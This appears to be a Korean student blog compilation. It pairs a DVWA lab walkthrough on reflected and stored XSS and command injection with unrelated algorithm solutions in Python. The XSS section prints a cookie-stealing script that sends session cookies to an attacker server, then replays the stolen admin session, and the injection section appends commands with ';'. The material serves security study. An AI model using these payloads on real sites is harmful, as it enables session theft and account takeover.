그 이후 응답을 받은 뒤 클라이언트 웹브라우저에서 스크립트를 실행하고 스크립트 내용에 따라 사용자의 세션 정보 등을 공격자에게 전송하는 동작을 하게 됩니다.

2. Stored XSS 방식

Stored 방식은 불특정 다수를 공격 대상으로 삼으며 공격자가 만든 스크립트를 특정 서버에 저장하는 방식입니다.

해당 페이지에 접근하는 모든 사용자들의 웹브라우저에서 스크립트가 실행되게 하기 때문에 Reflected 방식보다 더 큰 피해를 발생시킬 확률이 높다고 할 수 있습니다.

예를 들어, 공격자가 만든 스크립트를 방명록에 삽입하여 저장하면 사용자는 방명록 페이지에 접속할 때마다 해당 스크립트를 실행하여 공격자가 의도한 대로 피해를 입을 수 있습니다.

Reflected XSS 실습

이어서 앞서 알아봤던 개념을 바탕으로 DVWA 사이트에서 실습을 진행해보도록 하겠습니다. 실습을 하기 전에 실습환경과 전반적인 진행 구조에 대하여 간략히 알아보고 진행하겠습니다.

현재 Oracle VM VirtualBox를 활용하여 총 3개의 device로 실습을 진행할 것입니다.

• Metasploitable2 / ip : 10.0.2.4 / DVWA 웹사이트가 동작하고 있는 웹서버 / (공격자는 해당 웹사이트에 대한 사용자의 세션 값을 탈취할 것입니다.)
• Kali Linux / ip : 10.0.2.15 / 사용자(피해자)로서 DVWA 웹사이트를 이용.
• Ubuntu-64Bit / ip : 10.0.2.5 / 공격자로서 웹서버를 가동하고 스크립트를 사용자가 실행시켜 해당 세션 값들을   전송받을 수 있도록 함.

Metasploitable2와 Kali linux 실습 환경에 대한 설명은 웹 보안 첫 실습 포스팅에서 간략하게 다뤘으므로 공격자 역할인 Ubuntu에서 웹서버를 구동시키는 것부터 실습을 시작하도록 하겠습니다.

먼저, 우분투 터미널에서 다음과 같은 명령어를 통해 apache2를 설치해줍니다.

sudo apt-get install -y apache2

이후 다음과 같은 명령어를 통해 apache2를 실행시키고 상태를 확인합니다.

sudo systemctl start apache2
sudo systemctl status apache2

정상적으로 running 하고 있는 것을 확인한 뒤 다음과 같은 명령어들을 통해 access.log 파일의 뒷부분을 실시간 출력시켜줍니다.

cd /var/log/apache2
sudo tail -f access.log

여기까지 되었다면 피해자의 세션정보를 전송받을 준비는 끝났습니다.

다음은 사용자 입장에서 공격자가 만든 스크립트를 실행해보겠습니다.

이번 실습에서는 미리 준비된 스크립트 코드를 위에 보이는 form에 입력시켜서  스크립트가 삽입된 요청을 보낼 것이지만 실제로는 피싱 메일로 받은 링크 등을 눌렀을 때 다음과 같은 스크립트를 포함한 요청을 보낸다고 생각하시면 될 것 같습니다.

<script>document.location='http://10.0.2.5/cookie?'+document.cookie</script>

위 스크립트의 내용을 살펴보면 공격자의 웹서버 주소로 사용자를 이동시키는 동시에 쿠키 정보를 전달시키고 있음을 알 수 있습니다. 

즉, 이러한 스크립트가 포함된 요청이 '10.0.2.4'로 갔다가 응답이 오는 동시에 웹브라우저에서 스크립트를 실행시켜 사용자를 '10.0.2.5'로 이동시킵니다.

또한 동시에 DVWA 웹사이트에서 받은 세션 정보를 포함하는 쿠키 정보를 넘겨주게 됩니다.

그렇게 진행하게 되면 사용자는 위와 같이 아무것도 없는 페이지로 이동되지만

공격자 측에서는 사용자의 세션 정보를 포함한 쿠키 정보가 전달된 것을 알 수 있습니다.

그렇다면 위에 표시된 세션 정보로 공격자는 어떤 일들을 할 수 있을까요?

공격자 입장에서 세션 정보를 활용하기 위해선 추가적으로 설치해야 할 Firefox 확장 기능이 필요합니다.

위와 같이 'Cookie-Editor'를 검색 후 추가해줍니다.

추가가 완료되었다면 이번엔 admin의 세션 정보를 활용하여  일반 사용자로 로그인한 뒤 admin으로 계정을 바꿔버리는 실습을 해보겠습니다.

위에서 사용자는 admin 계정으로 DVWA에 로그인되어있는 걸 보실 수 있는데요.

공격자 측에서는 pablo계정(pw : letmein)을 통해 로그인해보도록 하겠습니다.

pablo로 로그인한 뒤 Cookie Editor를 눌러보시면 위와 같이 세션 값과 security 값을 바꿀 수 있습니다.

터미널에서 전송받은 세션 값을 복사하여 붙여 넣고 security 값도 low로 바꿔 준 후 둘 다 저장합니다.

저장 후 새로고침 하고 왼쪽 아래에 로그인된 계정을 보시면  분명 공격자 측 device의 화면인데도 불구하고 admin 계정으로 로그인되어 있는 것을 확인할 수 있습니다.

이와 같이 탈취한 세션 값을 이용하여 사용자 본인인 것처럼 로그인할 수 있고 그러한 계정이 관리자 계정이라면 피해는 더 커질 수 있습니다.

Stored XSS 실습

이번 실습에서는 reflected XSS 실습에서 공통되는 부분은 제외하고 진행하도록 하겠습니다.

위와 같이 방명록을 남길 수 있는 페이지에 의도적으로 스크립트를 방명록으로 등록시켜서 접속하는 사용자마다 자동으로 스크립트를 실행하도록 할 예정입니다.

그런데 Message 박스에 입력하고자 하는 스크립트가 글자 수 제한  때문에 안 들어갈 수도 있습니다.

그럴 때는 마우스 우클릭을 Message 박스에다 대고 누르시고 Inpect element를 클릭하시면 왼쪽 아래에 보이는 html 태그 속성을 수정함으로써 쉽게 maxlength를 수정할 수 있습니다.

위와 같이 스크립트를 방명록에 등록합니다.

그렇게 등록했다면 방명록 페이지 접속하려는 모든 사용자한테는 빈 페이지가 출력되고 다음과 같이 공격자 웹서버로 세션 정보를 포함한 쿠키 정보가 전송됩니다.

위와 같이 사용자인 10.0.2.15로 부터 전송된 쿠키정보가 표시되는 것을 볼 수 있습니다.

DVWA Security 단계 별 대응

1. low 단계 : 대응 없음.

2. medium 단계 : 

echo 'Hello ' . str_replace('<script>', '', $_GET['name']);

medium 단계에서는 str_replace 함수를 통해 <script> 태그를 지워줌으로써 대응하고 있습니다.

그러나 대소문자를 구별하고 있지 않고 <script> 태그를 두 번 쓰는 등의 파훼법이 많습니다.

3. high 단계 :

 echo 'Hello ' . htmlspecialchars($_GET['name']); 

high 단계에서는 htmlspecialchars() 함수를 통해서 html 태그에 사용되는 중요한 특수문자들을 기능하지 않게 만들고 단순히 문자로서 표시되게 만들고 있습니다.

현재 가장 많이 사용되고 있는 XSS 공격 대응 방법이라고 합니다.

이미지 출처 : www.youtube.com/watch?v=jvS45jdz1ao&list=PLK3IOiy3HLQb6jA9bA5-nJqFxJ96aytCz&index=50

PS. 읽어주셔서 감사합니다!! 개인적으로 처음 접하는 부분들을 혼자 공부하면서 진행하다 보니 부족한 점이 많습니다. 

항상 정확하고 좋은 글을 쓰려고 노력하겠지만 부족한 부분을 발견하시면 언제든지 말씀해주시면 감사하겠습니다!!

프로그래머스 - 모음사전

풀이 📝

from collections import defaultdict


def dfs(txt):
    alphabets = ['A', 'E', 'I', 'O', 'U']
    answer.append(txt)

    for alphabet in alphabets:
        new_txt = txt + alphabet

        if len(new_txt) > 5:
            return

        if not visited[new_txt]:
            visited[new_txt] = True
            dfs(new_txt)


def solution(word):
    global answer
    global visited
    visited = defaultdict(bool)
    answer = []
    dfs("")

    return answer.index(word)

1. 문제 정의 단어들을 문제의 조건에 따라 순서대로 쭉 나열했을 때 특정 단어의 index를 반환하는 문제이다.

2. 시간 복잡도 계산 완전 탐색이 먼저 가능한지 계산해 봤다. 전체 경우의 수는 6^5 이므로 충분히 가능하다.

3. 문제 풀이 이 문제의 key point는 주어진 조건에 따라 정확하게 단어들을 나열하는 것이다. 근데 가만히 생각해보면 아무것도 없을 때를 루트 노드라고 가정하고 'A', 'E', 'I', 'O', 'U'를 각각 자식 노드라고 생각하면 depth 5인 트리 형태가 되는 것을 알 수 있다.

   그렇게 생각하면 문제에 나오는 단어의 생성 순서는

Preorder traversal 즉, DFS 탐색 순서와 동일하다.

따라서 DFS 순회를 하면서 노드들을 answer에 넣어줬고 쉽게 word의 index를 구할 수 있었다.

4. 예외 사항 기타 특이사항 없음.

프로그래머스 - 전력망을 둘로 나누기

풀이 📝

from collections import defaultdict


def dfs(cur, cnt):
    global visited
    visited[cur] = True
    cnt += 1

    for node in graph[cur]:
        if not visited[node] and is_connect[cur][node]:
            cnt = dfs(node, cnt)
    return cnt


def solution(n, wires):
    answer = int(1e9)

    global visited
    global graph
    global is_connect

    graph = defaultdict(list)
    is_connect = [[False] * (n+1) for _ in range(n+1)]

    for start, end in wires:
        graph[start].append(end)
        graph[end].append(start)
        is_connect[start][end] = True
        is_connect[end][start] = True

    for start, end in wires:
        visited = [False] * (n+1)

        is_connect[start][end] = False
        is_connect[end][start] = False

        result = abs(dfs(start, 0) - dfs(end, 0))

        if answer > result:
            answer = result

        is_connect[start][end] = True
        is_connect[end][start] = True

    return answer

1. 문제 정의 하나의 트리를 둘로 나눈 뒤 노드의 개수의 차가 최소가 되도록 하는 문제이다.

2. 시간 복잡도 계산 완전 탐색이 먼저 가능한지 계산해 봤다. n이 최대 100이므로 최대 99개의 edge 중 하나를 선택하는 경우의 수는 99이고 그때마다 최대 100개의 노드를 탐색한다면 최대 연산 횟수는 9900이다. 따라서 완전 탐색이 충분히 가능하다.

3. 문제 풀이 연결정보를 하나씩 제거해 보고 제거 지점에서 각각의 트리에 대하여 DFS로 한 번씩 순회하여 노드 수의 차를 계산해 주었다.

4. 예외 사항 문제 조건에 따라 기타 예외 사항은 발생하지 않음 확인.

백준 - 탑

풀이 📝

import sys


class Tower:
    def __init__(self, num, height):
        self.num = num
        self.height = height


def solution(n, towers):
    answers = [0] * n
    stack = []

    for i in range(n):
        towers[i] = Tower(i+1, towers[i])

    stack.append(towers[-1])

    for i in range(n-2, -1, -1):
        while stack and stack[-1].height < towers[i].height:
            tower = stack.pop()
            answers[tower.num - 1] = i+1

        stack.append(towers[i])
    return answers


n = int(sys.stdin.readline())
towers = list(map(int, sys.stdin.readline().split()))

answers = solution(n, towers)

for answer in answers:
    print(answer, end=" ")

탑들을 역순회하면서 레이저를 송신하는 탑이 나타날 때까지 자료구조에 저장하여 관리해야 한다.

그럼 어떠한 자료구조가 적합할까?

바로 스택이다. 왜냐하면 스택에 들어왔다는 건 현재 스택에 있는 탑보다 높이가 낮다는 것이다. 그렇기 때문에 최근에 들어온 데이터(탑)부터 높이를 대조하여 처리해야 누락되는 데이터가 없을 것이다.

그래서 LIFO(Last In First Out)인 스택을 선택했다.

Command Injection이란?

Command Injection은 보기와 같이 사용자로부터 받은 입력을 내부적으로 시스템 명령어의 인자로서 사용하는 서비스에서 악의적으로 ";" 등의 키워드를 통해 다른 시스템 명령어를 덧붙여 실행시키는 공격을 말합니다.

위 예시와 같이 사용자로 부터 ip주소를 입력을 받아서 내부적으로 ping 명령어를 실행시키는 서비스가 있습니다.

여기에 ";" 키워드를 붙혀서 추가적인 시스템 명령어인 ls를 붙혀 보내면 놀랍게도 ls 명령어의 실행결과도 반환되는 것을 볼 수 있습니다.

DVWA Security 단계 별 대응

1. low 단계 : 대응 없음.

2. medium 단계 :

 // Remove any of the charactars in the array (blacklist).
    $substitutions = array(
        '&&' => '',
        ';' => '',
    ); 

위와 같이 입력에서 '&&', ';' 문자들을 blacklist에 추가하여 삭제함으로써 공격에 대응하고 있습니다.

3. high 단계 :

// Split the IP into 4 octects
    $octet = explode(".", $target);

    // Check IF each octet is an integer
    if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) 

high 단계에서는 입력이 실제로 ip주소 형식을 띠는지 면밀하게 검사하기 위해 '.'을 기준으로 분할하여 숫자인지 확인하는 방식으로 공격에 대응하고 있는 것을 볼 수 있습니다.

Reference : rjswn0315.tistory.com/150

PS. 읽어주셔서 감사합니다!! 개인적으로 처음 접하는 부분들을 혼자 공부하면서 진행하다 보니 부족한 점이 많습니다.  항상 정확하고 좋은 글을 쓰려고 노력하겠지만 부족한 부분을 발견하시면 언제든지 말씀해주시면 감사하겠습니다!!

백준 - 파티

풀이 📝

import sys
import heapq
from collections import defaultdict


def dijkstra(start, graph):
    q = []
    distance = [INF] * (n + 1)

    heapq.heappush(q, (0, start))
    distance[start] = 0

    while q:
        cur_dist, cur = heapq.heappop(q)

        if distance[cur] < cur_dist:
            continue

        for dest_dist, dest in graph[cur]:
            new_dist = cur_dist + dest_dist

            if new_dist < distance[dest]:
                distance[dest] = new_dist
                heapq.heappush(q, (new_dist, dest))
    return distance


def solution(n, m, x):
    answer = []
    graph_go = defaultdict(list)
    graph_back = defaultdict(list)

    for _ in range(m):
        start, end, t = map(int, sys.stdin.readline().split())
        graph_go[end].append((t, start))
        graph_back[start].append((t, end))

    distance_go = dijkstra(x, graph_go)
    distance_back = dijkstra(x, graph_back)

    for i in range(1, n+1):
        answer.append(distance_go[i] + distance_back[i])

    return max(answer)


INF = int(1e9)
n, m, x = map(int, sys.stdin.readline().split())
print(solution(n, m, x))

최단경로 문제이다. 간선에는 방향과 가중치가 있고 양수이기 때문에 다익스트라 알고리즘을 떠올렸다. X까지 갔다오는 최단경로를 구해야 했기 때문에 다음과 같이 2가지 경우의 최단경로를 구해야했다.

1. 모든 노드 -> X 2. X -> 모든 노드

다익스트라 알고리즘은 하나의 정점에서부터 모든 정점까지의 최단경로를 구하는 알고리즘이기 때문에 2번 같은 경우엔 쉽게 구할 수 있다.

하지만 1번 같은 경우엔 다익스트라 알고리즘을 모든 노드의 개수인 N번 실행 해야했다.

힙을 사용한 개선된 다익스트라 알고리즘의 시간복잡도는 최악의 경우 O(ElogV)이다. 여기서 V(노드)의 최대개수는 1,000개이고 E(간선)의 최대개수는 10,000 이기 때문에 다익스트라를 V번 실행하면 1,000 * 10,000 * 10 = 약 1억 이다. 약 1억 번의 연산일 경우 약 1초 걸리기 때문에 아슬아슬 했다.

따라서 새로운 아이디어를 떠올렸다. 생각해보면 모든 노드 -> X 로의 최단경로를 구할 때 다익스트라를 사용하면 X까지의 최단경로 뿐만 아니라 다른 모든 노드의 최단경로도 다구한다. 즉, 불필요한 정보까지 다 구하기 때문에 비효율적이다.

그럼 X까지의 최단경로만 구하려면 어떻게 해야할까? 바로 그래프 간선의 방향을 뒤집으면 된다. 그래프의 간선을 뒤집고 X -> 모든노드 의 최단경로를 구하면 그것은 사실 X로 가는 최단경로들을 구한 것이다.

백준 - AC

풀이 📝

import sys
from collections import deque


def solution(n, arr, cmds):
    is_reverse = False
    q = deque(arr)

    for cmd in cmds:

        if cmd == "R":
            if is_reverse:
                is_reverse = False
            else:
                is_reverse = True
        elif cmd == "D":
            if not q:
                return "error"

            if is_reverse:
                q.pop()
            else:
                q.popleft()
    if is_reverse:
        q.reverse()

    return str(list(q))


t = int(sys.stdin.readline())

for _ in range(t):
    cmds = list(sys.stdin.readline())
    n = int(sys.stdin.readline())
    arr = sys.stdin.readline().rstrip()[1:-1].split(',')

    if arr[0] == "":
        arr = []
    else:
        arr = map(int, arr)

    print(solution(n, arr, cmds).replace(" ", ""))

테스트케이스 개수인 t은 최대 100이고 명령어의 개수가 최대 100,000이며 배열의 길이가 최대 100,000이기 때문에

명령어를 순회하는 것까지는 시간 초과가 나지 않는다. 하지만 배열을 뒤집는 reverse() 함수는 시간 복잡도가 O(N)이기 때문에 실제로 배열을 뒤집게 되면 시간 초과가 난다.

따라서 실제로 배열을 뒤집지 않고 flag을 둬서 배열을 뒤집은 것처럼 가정하고 queue에서 pop()을 했다.

백준 - 평범한 배낭

풀이 📝

import sys


def solution(n, k, stuffs):
    dp = [[0] * (k+1) for _ in range(n+1)]
    stuff = [(0, 0)]
    stuff.extend(stuffs)

    for i in range(1, n+1):
        weight, val = stuff[i]

        for j in range(1, k+1):
            if weight > j:
                dp[i][j] = dp[i-1][j]
            else:
                dp[i][j] = max(dp[i-1][j], dp[i-1][j-weight] + val)
    return dp[n][k]


n, k = map(int, sys.stdin.readline().split())
stuffs = [tuple(map(int, sys.stdin.readline().split())) for _ in range(n)]

print(solution(n, k, stuffs))

유명한 문제인 0-1 Knapsack Problem이다. DP배열을 정의하는데 어려움을 겪어서 풀이에 실패하여 다른 여러 풀이를 참고하였다.

먼저 2차원 DP배열은 다음과 같이 정의할 수 있다.

dp[i][j] : i번까지의 물건만 존재하고 무게가 j일 때의 최대 가치.

그리고 해당 dp 배열을 채워가면 답을 찾을 때는 다음과 같은 원칙을 따른다.

1. 만약 무게가 초과되어 담을 수 없다면 담지 않는다.

   dp[i][j] = dp[i-1][j]

2. 만약 담을 수 있다면 담지 않는 것과 비교하면 이득이면 담는다.

   dp[i][j] = max(dp[i-1][j], dp[i-1][j-weight] + val)